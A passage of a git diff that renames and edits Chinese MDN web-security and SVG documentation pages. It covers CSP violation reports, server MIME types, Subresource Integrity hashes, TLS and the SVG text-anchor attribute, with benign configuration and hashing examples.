CSP其中的一个强大的特性是它为web站点管理员提供了生成和报告详细的站点攻击的描述信息。这些报告通过HTTP的POST请求发送到预先你指定的一个或多个服务器上,这些服务器可以通过 report-uri 策略来制定。发送的报告是JSON格式的,对于非ASCII字符,其使用了默认的JSON UTF-8编码。本文将向你展示如何在你的站点上配置报告,以及报告的格式。

- -

对于支持CSP的浏览器,只要你制定了合法的 report-uri 指令,任何违背该策略的攻击操作都会被浏览器所报告。

- -

开启报告

- -

默认情况下,攻击是不会被报告的。要开启报告模式,你要指定 report-uri 指令,这个指令包含了至少一个用于接收报告的URI:

- -
Content-Security-Policy: default-src self; report-uri http://reportcollector.example.com/collector.cgi
-
- -

然后,你要搭建接受报告的服务器;它可以对报告进行存储和并进行适时的处理。

- -

注意:Firefox 23以前的版本所使用的报告头为 X-Content-Security-Policy。这个头在将来将被废弃。

- -

攻击报告的语法

- -

报告的JSON对象包含了以下的数据:

- -
-
document-uri
-
当前攻击所发生的文档的URI。
-
referrer
-
当前攻击所发生的文档的来源页面的URI。
-
blocked-uri
-
被CSP策略所拦截的资源的URI。如果被拦截资源的URI属于与当前文档不同的来源,则所拦截的资源URI会被削减至只剩scheme,host和port三部分。
-
violated-directive
-
攻击所针对的策略部分的名称
-
original-policy
-
由X-Content-Security-Policy头指定的原始策略。
-
- -

Sample violation report

- -

攻击报告的样例

- -
在CSP规范中,已经有一个样例展示攻击报告。这里我们来看另一个例子。
- -
 
- -
假设有一个页面叫做http://example.com/signup.html. 它使用了一下的策略,它禁止从除cdn.example.com以外的域加载样式表。
- -
-
Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
-
-
- -
signup.html的HTML则像下面这样:
- -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Sign Up</title>
-    <link rel="stylesheet" href="css/style.css">
-  </head>
-  <body>
-    ... Content ...
-  </body>
-</html>
-
- -
看到问题了么?在策略中指明样式表只能从cdn.example.com加载,而这个页面则试图从它本域(http://example.com)下载样式表. 浏览器基于强制CSP的开启,在这个页面被访问时,将以下的报告通过POST请求发送到 http://example.com/_/csp-reports
- -
{
-  "csp-report": {
-    "document-uri": "http://example.com/signup.html",
-    "referrer": "",
-    "blocked-uri": "http://example.com/css/style.css",
-    "violated-directive": "style-src cdn.example.com",
-    "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports"
-  }
-}
-
- -

我们可以看到,这个报告在blocked-uri中包含了错误资源的整个路径。而这并非总是这样。例如,当signup.html试图从http://anothercdn.example.com/stylesheet.css加载css的时候,浏览器只会记录来源(http://anothercdn.example.com)而不会记录完整的路径。CSP规范中对这一行为进行了解释。总结一下,CSP的作用是放置跨域信息的泄露。值得注意的是,规范中的 攻击报告范例 有一处错误(其中blocked-uri应该是"http://evil.example.com")。

- -

更多参考

- - - -
-

{{ languages( { "ja": "ja/Security/CSP/Using_CSP_violation_reports" } ) }}

-
- -

 

diff --git a/files/zh-cn/web/security/information_security_basics/index.html b/files/zh-cn/web/security/information_security_basics/index.html deleted file mode 100644 index d9c1f0769f..0000000000 --- a/files/zh-cn/web/security/information_security_basics/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: 信息安全基础 -slug: Web/Security/Information_Security_Basics -translation_of: Web/Security/Information_Security_Basics ---- -

了解安全基础知识有助于你了解整个Web开发生命周期中安全性的作用和重要性。 这将帮助你避免不必要的不安全软件,使得攻击者利用漏洞获得经济利益或其他恶意用途。以下的文章提供一些基本的Web安全理论和定义。

- -
-
机密性、完整性和可用性
-
描述了信息安全的基本目标,是理解信息安全的基础。
-
漏洞
-
明确主要漏洞策略以及讨论在所有软件中的存在的所有漏洞。
-
威胁 - Threats
-
对主要威胁概念的简单介绍。
-
安全控制 - Security Controls
-
明确主要安全控制策略以及它们潜在的缺点。
-
TCP/IP 安全
-
TCP/IP模型的介绍,还有SSL的教程。
-
- -

相关链接

- - diff --git a/files/zh-cn/web/security/securing_your_site/configuring_server_mime_types/index.html b/files/zh-cn/web/security/securing_your_site/configuring_server_mime_types/index.html deleted file mode 100644 index 577aacfb08..0000000000 --- a/files/zh-cn/web/security/securing_your_site/configuring_server_mime_types/index.html +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Properly Configuring Server MIME Types -slug: Web/Security/Securing_your_site/Configuring_server_MIME_types -tags: - - HTTP -translation_of: Learn/Server-side/Configuring_server_MIME_types ---- -

Background

- -

默认情况下,许多web服务器会为那些未知内容类型的文件配置一个默认MIME类型text/plain 或者application/octet-stream 。当一种新的内容类型被创造或者被添加到web服务器上,web管理者在添加它到web服务器配置中可能会失败。主要原因是用户使用Gecko-based 的浏览器,而这种浏览器只相信由web服务器和web应用所发布的MIME类型

- -

What are MIME types?

- -

MIME类型描述了邮件或者web服务器或者web应用中的媒体内容的类型,其目的是为了指导web浏览器对媒体内容的处理和表现。MIME类型的示例如下:

- -
    -
  • text/html  对于一般网页
  • -
  • text/plain 对于一般文本
  • -
  • text/css 对于级联样式表
  • -
  • text/javascript 对于脚本
  • -
  • application/octet-stream 意味着“下载这个文件”
  • -
  • application/x-java-applet 对于 Java applets
  • -
  • application/pdf 对于 PDF 文档
  • -
- -

Technical Background

- -

完整的MIME类型列表可在 IANA | MIME Media Types 查看.

- -

HTTP specification 中定义了能够描述在web中使用的媒体类型的MIME超集。

- -

Why are correct MIME types important?

- -

Example of an incorrect MIME type result 假如web服务器或者应用报告内容的MIME类型不正确,根据HTTP规范,或许发起人想要处理和显示内容通过他所规定的MIME类型,因此web浏览器无法采取任何措施。

- -

对于某些浏览器,例如IE,它尝试允许web服务器对于错误配置通过其源码猜测它可能的正确MIME类型。

- -

这种做法将会避免许多由web管理员他们的错误。因为当内容的MIME类型错误,IE将会用可能正确的MIME类型来继续处理内容。例如你设置一个img的类型为text/plain ,IE可能会设置它为正确的MIME类型images/*

- -

出于安全原因,使用正确的MIME类型的服务内容也是重要的; 恶意内容可能会影响用户的计算机,假装它是一个安全类型文档,实际上不是。

- -
-

注意: 从历史角度, 只要HTML文档请求处理CSS文件 ,Firefox 能够正常加载CSS即使它设置了错误的MIME类型。处于安全原因, {{ gecko("2.0") }} 对于从请求文档不同来源加载的样式表,将不再这样做。如果CSS来自于不同来源,你必须设置它的正确MIME类型 (text/css).

- -

Gecko 1.9.1.11 (Firefox 3.5.11) 和 Gecko 1.9.2.5 (Firefox 3.6.5) 同样实施这种安全措施,但是提高它的实用性。如果样式表中的第一行看起来是一个很好的CSS构造,则存在允许加载的临时启发式算法。在Firefox 4中已经删除了启发式,您必须正确设置text/css 的MIME类型,才能够识别CSS。

-
- -

为何浏览器不应该猜测 MIME 类型

- -

除了违返了HTTP规范,让浏览器去猜测正确的MIME类型是一个差劲的策略。原因如下

- -

失去控制

- -

假如浏览器忽略报告的MIME类型,web管理员和用户不在对内容如何进行处理有发言权了。

- -

例如,面对web开发员的网址可能希望发送某些实例HTML文档,同时通希望能够以 text/html或者 text/plain 的MIME类型进行数据的处理和显示 或者 作为一个源代码。如果浏览器猜测它的正确MIME类型为 text/html 那么开发员不在有权利进行选择了。

- -

安全性

- -

一些内容类型,例如可执行程序,本质上是不安全的。原因是经过规范化的MIME类型都有经过严格规定浏览器如何对这类类型的文件进行操作。一个可执行程序不能够在用户的电脑浏览器上执行,但可以通过弹出会话询问是否下载这个文件

- -

MIME类型猜测导致IE浏览器的安全漏洞(通过利用IE能够将错误的MIME类型 修改为正确的类型)。这绕过了正常的下载对话框,导致InternetExplorer猜测内容是可执行程序,然后在用户的计算机上运行。

- -

如何确定服务器发送内容的 MIME 类型

- -

通过开发者工具的 ContentType 查看MIME类型。

- -

根据标准,通过一个 meta 标签来设置MIME类型 例如 <meta http-equiv="Content-Type" content="text/html"> 当包含{{HTTPHeader("Content-Type")}} 时则忽略 meta 标签

- - - -

如何为你的内容确定正确的 MIME 类型

- -

这里有几种方法来确定文件的正确MIME类型

- -
    -
  1. 如果你的内容是通过供应商软件应用创建的,那么你可以阅读供应商文档确认不同媒体文件的MIME值
  2. -
  3. 通过查看完整的MIME类型表 IANA | MIME Media Types registry 
  4. -
  5. 如果使用插件netscape gecko显示媒体类型,请安装插件,然后查看“帮助”>“关于插件”菜单,以查看哪些MIME类型与媒体类型相关联。
  6. -
  7. 搜索文件扩展名 FILExt 或者File extensions reference ,确认扩展名和哪种类型的MIME相关联
  8. -
- -

如何设置服务器以发送正确的MIME类型

- -

基本的方法是配置你的服务器发送正确的HTTP ContentType类型给每个文档

- -
    -
  • 如果您正在使用Apache Web服务器,只需将此示例.htaccess文件复制到包含要使用正确MIME类型发送的文件的目录中。 如果你有一个完整的文件子目录,只需将文件放在父目录中;您不需要将它放在每个子目录中。
  • -
  • 如果您使用的是Microsoft IIS, 请参阅IANA | MIME Media Types registry这篇文章。
  • -
  • 如果您使用服务器端脚本生成内容,通常可以在脚本顶部附近添加一行。 您可以从Perl,PHP,ASP或Java提供HTML以外的内容 - 只需相应地更改MIME类型即可。 -
      -
    • 对于 Perl CGI,你应该在文档其他行之前输出 print "Content-Type: text/html\n\n";。如果您正在使用CGI模块, 你可以使用 print $cgi->header('text/html');  代替, 其中 $cgi 是对CGI实例的引用。
    • -
    • 对于 PHP,你应该在文档其他行之前输出 header('Content-Type: text/html');
    • -
    • 对于 ASP, 你应该在文档其他行之前输出response.ContentType = "text/html";
    • -
    • 对于 Java servlet, 你需要在doGet 或 doPost 方法之前输出response.setContentType("text/html"); ,其中 response 是对 HttpServletResponse的引用。
    • -
    -
  • -
- - - - - -
-

Original Document Information

- -
    -
  • Author: Bob Clary, date: 20 Feb 2003
  • -
-
diff --git a/files/zh-cn/web/security/subresource_integrity/index.html b/files/zh-cn/web/security/subresource_integrity/index.html new file mode 100644 index 0000000000..86c80188c0 --- /dev/null +++ b/files/zh-cn/web/security/subresource_integrity/index.html @@ -0,0 +1,199 @@ +--- +title: Subresource Integrity +slug: Web/Security/子资源完整性 +tags: + - CORS + - SRI + - Security + - Subresource Integrity + - 子资源完整性 +translation_of: Web/Security/Subresource_Integrity +--- +

子资源完整性(SRI)是允许浏览器检查其获得的资源(例如从 CDN 获得的)是否被篡改的一项安全特性。它通过验证获取文件的哈希值是否和你提供的哈希值一样来判断资源是否被篡改。

+ +

SRI 如何工作

+ +

使用 {{Glossary("CDN", "内容分发网络 (CDNs)")}} 在多个站点之间共享脚本和样式表等文件可以提高站点性能并节省带宽。然而,使用CDN也存在风险,如果攻击者获得对 CDN 的控制权,则可以将任意恶意内容注入到 CDN 上的文件中 (或完全替换掉文件)
+ ),因此可能潜在地攻击所有从该 CDN 获取文件的站点。

+ +

子资源完整性通过确保 Web 应用程序获得的文件未经第三方注入或其他任何形式的修改来降低这种攻击的风险。

+ + + +
+

Note: SRI并不能规避所有的风险。第三方库经常会自己请求额外的信息,这就有可能会携带用户的账号密码等关键信息。这些经常需要js功能的支持,比如一个地图库会需要取<svg>数据来渲染,但是包含点击事件。

+
+ +

如何使用 SRI

+ +

将使用 base64 编码过后的文件哈希值写入你所引用的 {{HTMLElement("script")}} 或 {{HTMLElement("link")}} 标签的 integrity 属性值中即可启用子资源完整性功能。

+ +

integrity 值分成两个部分,第一部分指定哈希值的生成算法(目前支持 sha256、sha384 及 sha512),第二部分是经过 base64 编码的实际哈希值,两者之间通过一个短横(-)分割。

+ +
+

integrity 值可以包含多个由空格分隔的哈希值,只要文件匹配其中任意一个哈希值,就可以通过校验并加载该资源。

+
+ +

使用 base64 编码 sha384 算法计算出摘要后的 integrity 值的例子:

+ +
sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC
+
+ +

oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC 即哈希值部分,sha384 前缀说明使用的是 sha384 哈希方法。

+ +
+

integrity 中的“hash”部分,严格来说,是一种经过特定的哈希函数转换之后的密码学摘要。但是更一般的叫法就是哈希,本文用的也是这种叫法。

+
+ +

生成 SRI 哈希的工具

+ +

你可以用 openssl 在命令行中执行如下命令来生成 SRI 哈希值:

+ +
cat FILENAME.js | openssl dgst -sha384 -binary | openssl enc -base64 -A         
+ +

或者用 shasum 在命令行中执行:

+ +
shasum -b -a 384 FILENAME.js | xxd -r -p | base64
+ +

另外,SRI Hash Generator 是一个在线生成 SRI 哈希值的工具。

+ +

内容安全策略及子资源完整性

+ +

你可以根据内容安全策略来配置你的服务器使得指定类型的文件遵守 SRI。这是通过在 CSP 头部添加 {{CSP("require-sri-for")}} 指令实现的:

+ +
Content-Security-Policy: require-sri-for script;
+ +

这条指令规定了所有 JavaScript 都要有 integrity 属性,且通过验证才能被加载。

+ +

你也可以指定所有样式表也要通过 SRI 验证:

+ +
Content-Security-Policy: require-sri-for style;
+ +

你也可以对两者都加上验证。

+ +

范例

+ +

在这个例子中,我们已知 oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC 是一个指定文件,比如 example-framework.js,经过 SHA-384 算法得出的摘要,同时在 https://example.com/example-framework.js 上有其一份拷贝。

+ +

在 script 标签中增加 SRI

+ +

你可以使用以下的 {{HTMLElement("script")}} 元素告诉浏览器在执行 https://example.com/example-framework.js 中的内容之前,必须先比较该文件的哈希值是否和预期的一致,只有一致才能执行。

+ +
<script src="https://example.com/example-framework.js"
+        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
+        crossorigin="anonymous"></script>
+ +
+

有关 crossorigin 属性的更多信息,见 CORS settings attributes.

+
+ +

浏览器如何处理 SRI

+ +

浏览器根据以下步骤处理 SRI:

+ +
    +
  1. 当浏览器在  {{HTMLElement("script")}} 或者 {{HTMLElement("link")}}  标签中遇到 integrity 属性之后,会在执行脚本或者应用样式表之前对比所加载文件的哈希值和期望的哈希值。
  2. +
  3. 当脚本或者样式表的哈希值和期望的不一致时,浏览器必须拒绝执行脚本或者应用样式表,并且必须返回一个网络错误说明获得脚本或样式表失败。
  4. +
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Subresource Integrity')}}{{Spec2('Subresource Integrity')}}
{{SpecName('Fetch')}}{{Spec2('Fetch')}}
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
The integrity attribute for <script> and <link>{{ CompatChrome("45.0") }}{{ CompatGeckoDesktop("43") }}{{CompatNo}}{{CompatOpera("32")}}{{CompatNo}} [1]
The CSP {{CSP("require-sri-for")}} directive{{CompatUnknown}}{{ CompatGeckoDesktop("49") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
The integrity attribute for <script> and <link>{{ CompatChrome("45.0") }}{{CompatGeckoMobile("43")}}{{CompatNo}}{{CompatNo}}{{CompatNo}} [1]
The CSP {{CSP("require-sri-for")}} directive{{CompatUnknown}}{{CompatGeckoMobile("49")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] {{WebKitBug(148363)}}

+ +

[2] 位于 security.csp.experimentalEnabled 之后的是: config preference。

+ +

相关资料

+ + + +

{{QuickLinksWithSubpages("/zh-CN/docs/Web/Security")}}

diff --git a/files/zh-cn/web/security/transport_layer_security/index.html b/files/zh-cn/web/security/transport_layer_security/index.html new file mode 100644 index 0000000000..ed6e6bb128 --- /dev/null +++ b/files/zh-cn/web/security/transport_layer_security/index.html @@ -0,0 +1,18 @@ +--- +title: 传输层安全协议 +slug: Web/Security/传输层安全协议 +tags: + - 传输层安全协议 + - 安全 + - 密码学 +translation_of: Web/Security/Transport_Layer_Security +--- +

使用传输层安全性协议(TLS)进行的任何连接的安全性在很大程度上取决于密码套件和所选的安全性参数。 本文的目的是帮助您确保客户端和服务器之间的机密性和完整性通信。Mozilla运营安全团队(OpSec)维护了 服务器端TLS参考配置的Wiki条目

+ +

传输层安全性协议(Transport Layer Security protocol,TLS)是使两个联网应用程序或设备能够安全可靠地交换信息的标准。使用TLS的应用程序可以自行选择安全性参数,这可能会对数据的安全性和可靠性产生重大影响。本文对TLS进行了概述,并提供了多种在保护内容时需要做出的决策。

+ +

另请参阅

+ +
    +
  • Cipherli.st's 此网站为各种各样的软件产品列出了强大的TLS配置信息供参考。
  • +
diff --git "a/files/zh-cn/web/security/\344\274\240\350\276\223\345\261\202\345\256\211\345\205\250\345\215\217\350\256\256/index.html" "b/files/zh-cn/web/security/\344\274\240\350\276\223\345\261\202\345\256\211\345\205\250\345\215\217\350\256\256/index.html" deleted file mode 100644 index ed6e6bb128..0000000000 --- "a/files/zh-cn/web/security/\344\274\240\350\276\223\345\261\202\345\256\211\345\205\250\345\215\217\350\256\256/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: 传输层安全协议 -slug: Web/Security/传输层安全协议 -tags: - - 传输层安全协议 - - 安全 - - 密码学 -translation_of: Web/Security/Transport_Layer_Security ---- -

使用传输层安全性协议(TLS)进行的任何连接的安全性在很大程度上取决于密码套件和所选的安全性参数。 本文的目的是帮助您确保客户端和服务器之间的机密性和完整性通信。Mozilla运营安全团队(OpSec)维护了 服务器端TLS参考配置的Wiki条目

- -

传输层安全性协议(Transport Layer Security protocol,TLS)是使两个联网应用程序或设备能够安全可靠地交换信息的标准。使用TLS的应用程序可以自行选择安全性参数,这可能会对数据的安全性和可靠性产生重大影响。本文对TLS进行了概述,并提供了多种在保护内容时需要做出的决策。

- -

另请参阅

- -
    -
  • Cipherli.st's 此网站为各种各样的软件产品列出了强大的TLS配置信息供参考。
  • -
diff --git "a/files/zh-cn/web/security/\345\255\220\350\265\204\346\272\220\345\256\214\346\225\264\346\200\247/index.html" "b/files/zh-cn/web/security/\345\255\220\350\265\204\346\272\220\345\256\214\346\225\264\346\200\247/index.html" deleted file mode 100644 index 86c80188c0..0000000000 --- "a/files/zh-cn/web/security/\345\255\220\350\265\204\346\272\220\345\256\214\346\225\264\346\200\247/index.html" +++ /dev/null @@ -1,199 +0,0 @@ ---- -title: Subresource Integrity -slug: Web/Security/子资源完整性 -tags: - - CORS - - SRI - - Security - - Subresource Integrity - - 子资源完整性 -translation_of: Web/Security/Subresource_Integrity ---- -

子资源完整性(SRI)是允许浏览器检查其获得的资源(例如从 CDN 获得的)是否被篡改的一项安全特性。它通过验证获取文件的哈希值是否和你提供的哈希值一样来判断资源是否被篡改。

- -

SRI 如何工作

- -

使用 {{Glossary("CDN", "内容分发网络 (CDNs)")}} 在多个站点之间共享脚本和样式表等文件可以提高站点性能并节省带宽。然而,使用CDN也存在风险,如果攻击者获得对 CDN 的控制权,则可以将任意恶意内容注入到 CDN 上的文件中 (或完全替换掉文件)
- ),因此可能潜在地攻击所有从该 CDN 获取文件的站点。

- -

子资源完整性通过确保 Web 应用程序获得的文件未经第三方注入或其他任何形式的修改来降低这种攻击的风险。

- - - -
-

Note: SRI并不能规避所有的风险。第三方库经常会自己请求额外的信息,这就有可能会携带用户的账号密码等关键信息。这些经常需要js功能的支持,比如一个地图库会需要取<svg>数据来渲染,但是包含点击事件。

-
- -

如何使用 SRI

- -

将使用 base64 编码过后的文件哈希值写入你所引用的 {{HTMLElement("script")}} 或 {{HTMLElement("link")}} 标签的 integrity 属性值中即可启用子资源完整性功能。

- -

integrity 值分成两个部分,第一部分指定哈希值的生成算法(目前支持 sha256、sha384 及 sha512),第二部分是经过 base64 编码的实际哈希值,两者之间通过一个短横(-)分割。

- -
-

integrity 值可以包含多个由空格分隔的哈希值,只要文件匹配其中任意一个哈希值,就可以通过校验并加载该资源。

-
- -

使用 base64 编码 sha384 算法计算出摘要后的 integrity 值的例子:

- -
sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC
-
- -

oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC 即哈希值部分,sha384 前缀说明使用的是 sha384 哈希方法。

- -
-

integrity 中的“hash”部分,严格来说,是一种经过特定的哈希函数转换之后的密码学摘要。但是更一般的叫法就是哈希,本文用的也是这种叫法。

-
- -

生成 SRI 哈希的工具

- -

你可以用 openssl 在命令行中执行如下命令来生成 SRI 哈希值:

- -
cat FILENAME.js | openssl dgst -sha384 -binary | openssl enc -base64 -A         
- -

或者用 shasum 在命令行中执行:

- -
shasum -b -a 384 FILENAME.js | xxd -r -p | base64
- -

另外,SRI Hash Generator 是一个在线生成 SRI 哈希值的工具。

- -

内容安全策略及子资源完整性

- -

你可以根据内容安全策略来配置你的服务器使得指定类型的文件遵守 SRI。这是通过在 CSP 头部添加 {{CSP("require-sri-for")}} 指令实现的:

- -
Content-Security-Policy: require-sri-for script;
- -

这条指令规定了所有 JavaScript 都要有 integrity 属性,且通过验证才能被加载。

- -

你也可以指定所有样式表也要通过 SRI 验证:

- -
Content-Security-Policy: require-sri-for style;
- -

你也可以对两者都加上验证。

- -

范例

- -

在这个例子中,我们已知 oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC 是一个指定文件,比如 example-framework.js,经过 SHA-384 算法得出的摘要,同时在 https://example.com/example-framework.js 上有其一份拷贝。

- -

在 script 标签中增加 SRI

- -

你可以使用以下的 {{HTMLElement("script")}} 元素告诉浏览器在执行 https://example.com/example-framework.js 中的内容之前,必须先比较该文件的哈希值是否和预期的一致,只有一致才能执行。

- -
<script src="https://example.com/example-framework.js"
-        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
-        crossorigin="anonymous"></script>
- -
-

有关 crossorigin 属性的更多信息,见 CORS settings attributes.

-
- -

浏览器如何处理 SRI

- -

浏览器根据以下步骤处理 SRI:

- -
    -
  1. 当浏览器在  {{HTMLElement("script")}} 或者 {{HTMLElement("link")}}  标签中遇到 integrity 属性之后,会在执行脚本或者应用样式表之前对比所加载文件的哈希值和期望的哈希值。
  2. -
  3. 当脚本或者样式表的哈希值和期望的不一致时,浏览器必须拒绝执行脚本或者应用样式表,并且必须返回一个网络错误说明获得脚本或样式表失败。
  4. -
- -

规范

- - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName('Subresource Integrity')}}{{Spec2('Subresource Integrity')}}
{{SpecName('Fetch')}}{{Spec2('Fetch')}}
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
The integrity attribute for <script> and <link>{{ CompatChrome("45.0") }}{{ CompatGeckoDesktop("43") }}{{CompatNo}}{{CompatOpera("32")}}{{CompatNo}} [1]
The CSP {{CSP("require-sri-for")}} directive{{CompatUnknown}}{{ CompatGeckoDesktop("49") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
The integrity attribute for <script> and <link>{{ CompatChrome("45.0") }}{{CompatGeckoMobile("43")}}{{CompatNo}}{{CompatNo}}{{CompatNo}} [1]
The CSP {{CSP("require-sri-for")}} directive{{CompatUnknown}}{{CompatGeckoMobile("49")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] {{WebKitBug(148363)}}

- -

[2] 位于 security.csp.experimentalEnabled 之后的是: config preference。

- -

相关资料

- - - -

{{QuickLinksWithSubpages("/zh-CN/docs/Web/Security")}}

diff --git a/files/zh-cn/web/svg/attribute/styling/index.html b/files/zh-cn/web/svg/attribute/styling/index.html new file mode 100644 index 0000000000..6d9669c5c5 --- /dev/null +++ b/files/zh-cn/web/svg/attribute/styling/index.html @@ -0,0 +1,32 @@ +--- +title: SVG样式属性 +slug: Web/SVG/Attribute/样式 +translation_of: Web/SVG/Attribute/Styling +--- +

SVG样式属性是所有可以在任何SVG元素上指定以应用CSS样式效果的属性。

+ +
+ +
+ +

属性

+ +
+
{{SVGAttr('class')}}
+
给一个元素分配一个类名称或者设置类名。它跟 HTML中的{{htmlattrxref('class')}}属性具有同样的功能。
+ Value: 任何可用的ID字符; Animatable: Yes
+
{{SVGAttr('style')}}
+
它指定元素的样式信息。它跟HTML中 {{htmlattrxref('style')}}属性具有相同的功能。
+ Value:任何可用的ID字符; Animatable: No +

 

+
+
+ +

浏览器支持

+ + + +

{{Compat("svg.attributes.style")}}

diff --git a/files/zh-cn/web/svg/attribute/text-anchor/index.html b/files/zh-cn/web/svg/attribute/text-anchor/index.html new file mode 100644 index 0000000000..7a71281230 --- /dev/null +++ b/files/zh-cn/web/svg/attribute/text-anchor/index.html @@ -0,0 +1,95 @@ +--- +title: text-anchor +slug: Web/SVG/Attribute/文本锚点 +tags: + - 可缩放矢量图形 + - 可缩放矢量图形 属性 +translation_of: Web/SVG/Attribute/text-anchor +--- +

« SVG Attribute reference home

+ +

文本锚点属性被用来描述该文本与所给点的对齐方式 (开头、中间、末尾对齐) 。

+ +

文本锚点属性被运用到每个 {{ SVGElement("text") }} 元素的独立文本块上。 每个文本块有一个初始的当前文本位置,一个来源于 {{ SVGElement("text") }} 元素的{{ SVGAttr("x") }}和{{ SVGAttr("y") }}属性在当前上下文的用户坐标系中所对应的点,任何 一个{{ SVGElement("tspan") }}、{{SVGElement("tref") }}、{{ SVGElement("altGlyph") }} 元素的 {{ SVGAttr("x") }} 或者 {{ SVGAttr("y") }} 属性值都明确指向了文本块里第一个被呈现的字符,或者是决定了{{ SVGElement("textPath") }}元素的当前文本位置的初始值。

+ +

作为一个描述性的属性,它也可以直接用作css样式的性质(style属性的值)。

+ +

使用方法

+ + + + + + + + + + + + + + + + + + + + +
类别呈现属性
start | middle | end | inherit
可动画化
标准文件SVG 1.1 (2nd Edition)
+ +
+
start
+
所呈现的字符对齐方式为:文本字符串的开始位置即当前文本的初始位置.对于拉丁文在其通常文本排列方向,这就相当于左对齐. 对于脚本像希伯来语和阿拉伯语这类自右向左排列的文字来说,这相当于右对齐. 对于亚洲某些垂直走向的文本来说,这相当于向上对齐。
+
middle
+
所呈现的字符对齐方式为:文本字符串的中间位置即当前文本的初始位置. (对于按路径排列的文本,会从概念上首先将其文本排列在一条直线上,确定该串中点位置后,然再将该文本映射到路径上,并且将之前确定的中点放置在当前文本的位置上 )
+
end
+
所呈现的字符对齐方式为:文本字符串的末尾即当前文本的初始位置.对于拉丁语通常的文字走向来说,这就相当于右对齐. 对于像希伯来语和阿拉伯语这类将文字自右向左排列的脚本来说,这相当于左对齐.
+
+ +

示例

+ +
<?xml version="1.0"?>
+<svg width="120" height="120" viewBox="0 0 120 120"
+     xmlns="http://www.w3.org/2000/svg" version="1.1">
+
+    <!-- Materialisation of anchors -->
+    <path d="M60,15 L60,110 M30,40 L90,40 M30,75 L90,75 M30,110 L90,110" stroke="grey" />
+
+
+    <!-- Anchors in action -->
+    <text text-anchor="start"
+          x="60" y="40">A</text>
+
+    <text text-anchor="middle"
+          x="60" y="75">A</text>
+
+    <text text-anchor="end"
+          x="60" y="110">A</text>
+
+    <!-- Materialisation of anchors -->
+    <circle cx="60" cy="40" r="3" fill="red" />
+    <circle cx="60" cy="75" r="3" fill="red" />
+    <circle cx="60" cy="110" r="3" fill="red" />
+
+<style><![CDATA[
+text{
+    font: bold 36px Verdana, Helvetica, Arial, sans-serif;
+}
+]]></style>
+</svg>
+ +

Live sample

+ +

{{ EmbedLiveSample('Example','120','120') }}

+ +

元素

+ +

 

+ +

以下元素可以运用文本锚点属性:

+ +

 

+ + diff --git "a/files/zh-cn/web/svg/attribute/\346\226\207\346\234\254\351\224\232\347\202\271/index.html" "b/files/zh-cn/web/svg/attribute/\346\226\207\346\234\254\351\224\232\347\202\271/index.html" deleted file mode 100644 index 7a71281230..0000000000 --- "a/files/zh-cn/web/svg/attribute/\346\226\207\346\234\254\351\224\232\347\202\271/index.html" +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: text-anchor -slug: Web/SVG/Attribute/文本锚点 -tags: - - 可缩放矢量图形 - - 可缩放矢量图形 属性 -translation_of: Web/SVG/Attribute/text-anchor ---- -

« SVG Attribute reference home

- -

文本锚点属性被用来描述该文本与所给点的对齐方式 (开头、中间、末尾对齐) 。

- -

文本锚点属性被运用到每个 {{ SVGElement("text") }} 元素的独立文本块上。 每个文本块有一个初始的当前文本位置,一个来源于 {{ SVGElement("text") }} 元素的{{ SVGAttr("x") }}和{{ SVGAttr("y") }}属性在当前上下文的用户坐标系中所对应的点,任何 一个{{ SVGElement("tspan") }}、{{SVGElement("tref") }}、{{ SVGElement("altGlyph") }} 元素的 {{ SVGAttr("x") }} 或者 {{ SVGAttr("y") }} 属性值都明确指向了文本块里第一个被呈现的字符,或者是决定了{{ SVGElement("textPath") }}元素的当前文本位置的初始值。

- -

作为一个描述性的属性,它也可以直接用作css样式的性质(style属性的值)。

- -

使用方法

- - - - - - - - - - - - - - - - - - - - -
类别呈现属性
start | middle | end | inherit
可动画化
标准文件SVG 1.1 (2nd Edition)
- -
-
start
-
所呈现的字符对齐方式为:文本字符串的开始位置即当前文本的初始位置.对于拉丁文在其通常文本排列方向,这就相当于左对齐. 对于脚本像希伯来语和阿拉伯语这类自右向左排列的文字来说,这相当于右对齐. 对于亚洲某些垂直走向的文本来说,这相当于向上对齐。
-
middle
-
